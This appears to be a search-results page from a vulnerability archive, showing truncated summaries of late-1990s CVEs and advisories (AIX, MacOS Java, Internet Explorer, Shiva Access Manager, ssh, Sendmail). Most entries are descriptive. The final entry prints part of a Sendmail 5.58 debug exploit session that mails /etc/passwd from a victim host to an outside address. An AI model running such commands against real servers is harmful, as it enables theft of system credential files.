3717 matches found
CVE-2000-0441
The CVE-2000-0441 entry concerns a vulnerability in AIX 3.2.x and 4.x where local users can gain write access to files on locally or remotely mounted AIX filesystems. The available sources (NVD/CVE lists) describe the affected platforms and the local-write impact but do not provide root-cause tec...
CVE-2000-0563
The CVE-2000-0563 entry concerns the URLConnection function in MacOS Runtime Java (MRJ) 2.1 and earlier and the Microsoft VM for MacOS. The vulnerability arises from an HTTP redirection that lets a malicious web site operator connect to arbitrary hosts, violating the Java security model. Per the ...
CVE-2000-0400
The CVE-2000-0400 entry refers to the Microsoft Active Movie ActiveX Control in Internet Explorer 5, where the issue stems from shared code handling the Internet cache and file downloads (not the Active Movie control itself). Affected component is msdxm.ocx (ClassID {05589FA1-C356-11CE-BF01-00AA0...
Shiva Access Manager 5.0.0 Plaintext LDAP root password.
In testing Intel's Shiva Access Manager RADIUS/Tacacs+ product, i recently came across an important security hole in the LDAP connectivity on the Solaris platform version of this product. When you configure the S.A.M. to store all of it's information in an LDAP directory, it asks that you give it...
CVE-2000-0135
CVE-2000-0135 affects the @Retail shopping cart application. NVD notes remote attackers can modify sensitive purchase information via hidden form fields, with a CVSS v2 base score of 7.5 (NETWORK, LOW complexity, NONE auth, partial impact across confidentiality, integrity, and availability). Conn...
CVE-1999-0220
CVE-1999-0220 describes a denial-of-service against IRC servers achieved by crashing the server. Connected sources reiterate an IRC DoS impact but do not specify affected products, versions, or root-cause details. PT-1999-1014 notes affected versions are not specified; Red Hat and NVD entries sim...
Windowmaker wmmon 1.0 b2 - Command Execution
Windowmaker wmmon 1.0 b2 - Command Execution source: https://www.securityfocus.com/bid/885/info WMMon is a multiple platform Window Maker docking application. It monitors useful system information such as CPU load and disk activity. The application also allows the user to define commands that can...
ssh-1.2.26.txt
Date: 1 Nov 1998 20:43:19 -0000 From: [email protected] 01. ssh 1.2.26 vulnerability ---------------------------- As most of you are aware, the Rootshell site was compromised on October 28th. In order to keep the integrity of our investigation we have been fairly closed-lipped about...
java.jvm.byte.code.ver.txt
Date: Mon, 5 Apr 1999 08:56:10 -0400 From: Gary McGraw To: [email protected] Subject: Security Hole in Java 2 and JDK 1.1.x Hi all, Karsten Sohr at the University of Marburg in Germany email [email protected] has discovered a very serious security flaw in several current versions ...
msie.4.0-no.dots.txt
Subject: ISN New IE bug "No Dots Bug" http://www.msnbc.com/news/206992.aspBODY IE can treat Internet sites as if they were on intranet By Bruce Brown BUGNET Oct. 20 ^× Posters on a Danish newsgroup have discovered a new security hole in Microsoft Internet Explorer. Microsoft has confirmed the...
Berkeley Sendmail 5.58 - Debug
Berkeley Sendmail 5.58 - Debug 220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in t...